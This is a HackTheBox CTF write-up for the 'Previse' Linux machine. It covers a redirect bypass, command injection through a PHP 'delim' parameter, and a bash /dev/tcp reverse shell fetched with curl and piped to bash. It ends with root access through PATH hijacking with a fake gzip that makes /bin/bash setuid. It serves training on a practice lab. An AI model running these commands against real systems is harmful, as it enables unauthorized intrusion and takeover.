> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md). # Previse HackTheBox Writeup Previse HackTheBox Easy Linux machine writeup covering Web Enumeration, Execution After Redirect (EAR) Vulnerability - Skipping Redirects, PHP Source Code Analysis, Command Injection (RCE), with pract {% embed url="" %} {% hint style="warning" %} **Skills:** * Web Enumeration * Execution After Redirect (EAR) Vulnerability - Skipping Redirects * PHP Source Code Analysis * Command Injection (RCE) * Information Leakage * Database Enumeration * Cracking Hashes * Abusing Sudoers Privilege + PATH Hijacking (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.104 -oG allPorts ```
**Port version scan with Nmap 22.80:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.11.104 -oN targeted ```
### Port 80 - HTTP We find a login page requiring a login and password.
### **Fuzzing PHP directories and files** Given the presence of a PHP file, it is likely that there are others: ```bash gobuster dir -u http://10.10.11.104/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ``` ## **Vulnerability EAR (Execution After Redirect) - Skipping Redirects** We find several pages containing content but redirecting to the login page.
We intercept the request at `nav.php` with Burp Suite and observe a 302 redirect.
By forcing the response to `200 OK`, we go directly to the `accounts` page.
We create a rule in Burp Suite to automatically change `302 Found` responses to `200 OK`.
We then create a user `jordan` and log in.
### **Analysis of recovered files** We download a file found on `/files`:
```bash unzip siteBackup.zip ```
We find several PHP files and observe that `logs.php` uses the `exec()` function without any validation: ```bash $output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}"); ```
### **Command Injection Exploitation (RCE)**
We intercept the request to `file_logs.php` and inject a command via the `delim` parameter: 
delim=comma;curl http://10.10.14.50
We receive a connection.
### Reverse Shell We create a `index.html` file containing: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.50/443 0>&1 ``` We launch a Python web server: ```bash python3 -m http.server 80 ``` We listen to our machine on port 443: ```bash nc -nlvp 443 ``` We run the following command to recover the reverse shell: ```bash ;curl http://10.10.14.50 | bash ``` We are now user `www-data`.
#### **Shell Improvement** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### **Privilege Escalation** ### Pivot to user m4lwhere We find a file containing credentials: * $user : root * $passwd : mySQL/\_p\@ssw0rd!:)
We connect to the MySQL database: ```sql mysql -u root -p ``` We list the databases: ```sql show databases; ``` We find the base `previse`, which we use: ```sql use previse; ```
We explore the `accounts` table: ```sql show tables; describe accounts ```
We find: ```sql select username, password from accounts; ``` * username: m4lwhere * password: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
### **Hash Cracking** We use Hashcat to decrypt it: ```bash hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt ``` Password found: * password : ilovecody112235!
We log in as `m4lwhere`.
### Flag user.txt :)
### **PATH Hijacking (gzip)** We list the sudo permissions: ```bash sudo -l ``` We find a script executable as root using `gzip` without an absolute path.
#### **Creating a malicious binary** We create a malicious `gzip` file in `/tmp/`: ```bash chmod 4777 /bin/bash ``` We modify the `PATH` variable to prioritize `/tmp/`: ```bash export PATH=/tmp/:$PATH ```
We run the script as root: ```bash sudo /opt/scripts/access_backup.sh ```
### Flag root.txt :)
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